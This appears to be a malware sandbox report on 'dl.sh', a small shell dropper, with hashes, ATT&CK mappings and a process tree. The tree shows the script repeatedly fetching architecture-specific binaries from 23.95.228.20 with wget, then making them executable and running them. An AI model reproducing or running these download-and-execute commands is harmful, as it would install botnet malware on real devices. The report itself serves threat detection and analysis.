e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a

Analysis

max time kernel
10s
max time network
12s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
29/09/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 622B
Sample260929-phebjazbnb
SHA256 e63cf3ce1a71ea69d596056cb212337c38ee4740b22f73b5bd64ffd47cbc0d7a
MD5 68bac6bee1eea4a6b306af3577cd8264
SHA1 b5620eda4313f368514fc39d64f226357395c6e9
SHA512 eb238cd1ce81f9eb349f04597176b0757977e6c7b5da30f7726b3825a6370cea16ba01ab62ae93606876b3ed01a12bd215fe519fbd00e3fadf94326e0ee969ca
TLSH
T19AF0F9F1FC624471768D853FF6AD0286B6C25C7F10996E09344BFC226B6C4A4B09E633
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
749	chmod
754	chmod
764	chmod
769	chmod
781	chmod
810	chmod
759	chmod
795	chmod
821	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/w	741	dl.sh
/tmp/w	750	dl.sh
/tmp/w	755	dl.sh
/tmp/w	760	dl.sh
/tmp/w	765	dl.sh
/tmp/w	770	dl.sh
/tmp/w	782	dl.sh
/tmp/w	797	dl.sh
/tmp/w	811	dl.sh
/tmp/w	823	dl.sh

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-3.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-6.dat	upx

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	w

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
722	wget
746	wget
758	wget
801	wget

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget
File opened for modification	/tmp/w	wget

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
PID:715
- /bin/uname
  uname -m
  2⤵
  PID:718
- /bin/rm
  rm -f w
  2⤵
  PID:720
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/w
  ./w
  2⤵
  PID:741
- /bin/rm
  rm -f w
  2⤵
  PID:744
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/w
  ./w
  2⤵
  PID:750
- /bin/rm
  rm -f w
  2⤵
  PID:752
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.aarch64
  2⤵
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/w
  ./w
  2⤵
  PID:755
- /bin/rm
  rm -f w
  2⤵
  PID:757
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/w
  ./w
  2⤵
  PID:760
- /bin/rm
  rm -f w
  2⤵
  PID:762
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm7
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/w
  ./w
  2⤵
  PID:765
- /bin/rm
  rm -f w
  2⤵
  PID:767
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm6
  2⤵
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/w
  ./w
  2⤵
  PID:770
- /bin/rm
  rm -f w
  2⤵
  PID:772
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm5
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/w
  ./w
  2⤵
  PID:782
- /bin/rm
  rm -f w
  2⤵
  PID:785
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.arm4
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/w
  ./w
  2⤵
  PID:797
- /bin/rm
  rm -f w
  2⤵
  PID:800
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/w
  ./w
  2⤵
  PID:811
- /bin/rm
  rm -f w
  2⤵
  PID:815
- /usr/bin/wget
  wget -qO w http://23.95.228.20/wife.mpsl
  2⤵
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod +x w
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/w
  ./w
  2⤵
  - Reads runtime system information
  PID:823

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/w
Size 75KB
SHA256 a05fd686ad8b6338e293d51feba36f8f9f0bdac4f3c2c1301581745dd2ce5237
MD5 61c6bece5b81774a5ad0417aff65a019
SHA1 751d3d13daba5cfb496dc40ee5bb5d5232c1e643
SHA512 294c5b048b2c72a71d8e00534e7d8ddd75f3a5b6578b51f9dd22ae20a10e75bf4fd3cf78cfa05e12eed14f4350e207429c72e5a82a6bfee850db05c7e9225da2
SSDEEP 1536:bfUsPKb7PnnEPMK6zZZ1YfvdQc4EkUGLDx4u4wYXfRius1wvGrcEzVEW0zg:AsPKb7sPpgGv+EhGvx3YWwv4cEzVEP8
TLSH
T1E17312BC1E198783ECB5E37222EB4FB43A96567C72B75F0204C19416EF843A419799CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/w
Size 72KB
SHA256 47e8a66124310758285a549ba29900bd30a86e13ded7f165640954f7b5602ca1
MD5 95f053a1ec127e6a6a66fee07dfaa69d
SHA1 b15d7ac3ac86b832f514a88fdd194595d13afeda
SHA512 d9d8a376ffc381f5525d62399c8aef1ddc2aac6c666d916748a1f8a03111e2046c90be4293969f6fa172dcb2d53a58a1a2a5282402fc812a6b1e12a3002b62bb
SSDEEP 1536:vkDE3D/SF9zg1k4fUp0AqaCDWECwtw6abLvmEQXe0nTLG8jg0PnRFMBO3sz7JGPq:vk6SHzg11UiA5jvFdOXVGyHnoQ8z7+N8
TLSH
T1137302C3D7A2D6FBE74045F184160C766A11EB7E3DF786D63ABC25028C98922CE42453
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/w
Size 236KB
SHA256 924793b4852a7d7842d6ce6d11d89ed3387aeda332316e0b061073bcfdf999e7
MD5 358d17108a7da8686a9e850fbb204b49
SHA1 4b6e87fe9bb4ec6bce81969c99ce580406799bd9
SHA512 fbbf050fad56f49aa4cc6ab51f02e4b0504366db056dea81e137d3830b737842136a05f9c66b764fc4e38badca707dd9dacf5a1100228da0d5728fc14795863c
SSDEEP 3072:4aFg0EDFb1Fohaxdgrhxoi6TNHx6rKYd3cTcZ9ebNDonMNaxK5CYEM+w1qgGg95Z:z70ZkbGZcYfxkYkwIsy
TLSH
T173345CD17386ABB3CA1962744EF3C3345BE936221663C94BE32A571D0E755A67C2CEC0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/w
Size 70KB
SHA256 3bef89a430be6418e9a8c5ddfb24ec1dd6e426e334db9d5acf7af07461929c05
MD5 6c8b52e64d3ce3d26eaab8b92d5cdee9
SHA1 dbb663ab6c1c93644f2ddba15c79c902ec33541f
SHA512 bbc187baca7ce651ec0c80f629c6f98871fe47e4c73cd72c5ef0370286601f63a10807994266e19b36b553721c7862a33d0a094f0ad0ba616ffbc39c828f7516
SSDEEP 1536:qDMUlw/y78U2yyDw8D18X8Dee2i2WzH76ObFYmf:691KDwkq8fX2877FYmf
TLSH
T1E7631272540C88B2E53132B7E9ED895724D476FEBB8261F138648ED1D8C02AF5B795C2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/w
Size 76KB
SHA256 1d8e9fae9dedf089029b0f48fa67dfde8f36ef14471d67b069b2713fe0c861cb
MD5 92c363c24fe6223bd9013b42e5f897ae
SHA1 fd7e8f32a049c3445ae02ced8f63ba4bc1b8c182
SHA512 fb348b5e2e860f6c64e6bf4ee39ba32c9ca49ba243fc6719bf07109799eb5b19fed19c57ffdda662d10b0f302da82c51aa11b3b77d1c1361ba55796df2e389a1
SSDEEP 1536:CoyXsU3ZwUlZIn7ldqoFM4bgT7O7aAvLLPhUt2AYFIgz+qBtnu8DmekBuF+u9N5V:CoTgZplZ0imhkTEFPAYCxqB87sIu/TX
TLSH
T11573010EE5491E67C9FF0D3FA9D89700E4C4D6D562C7ABCCE2219544B39AB6D13880BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads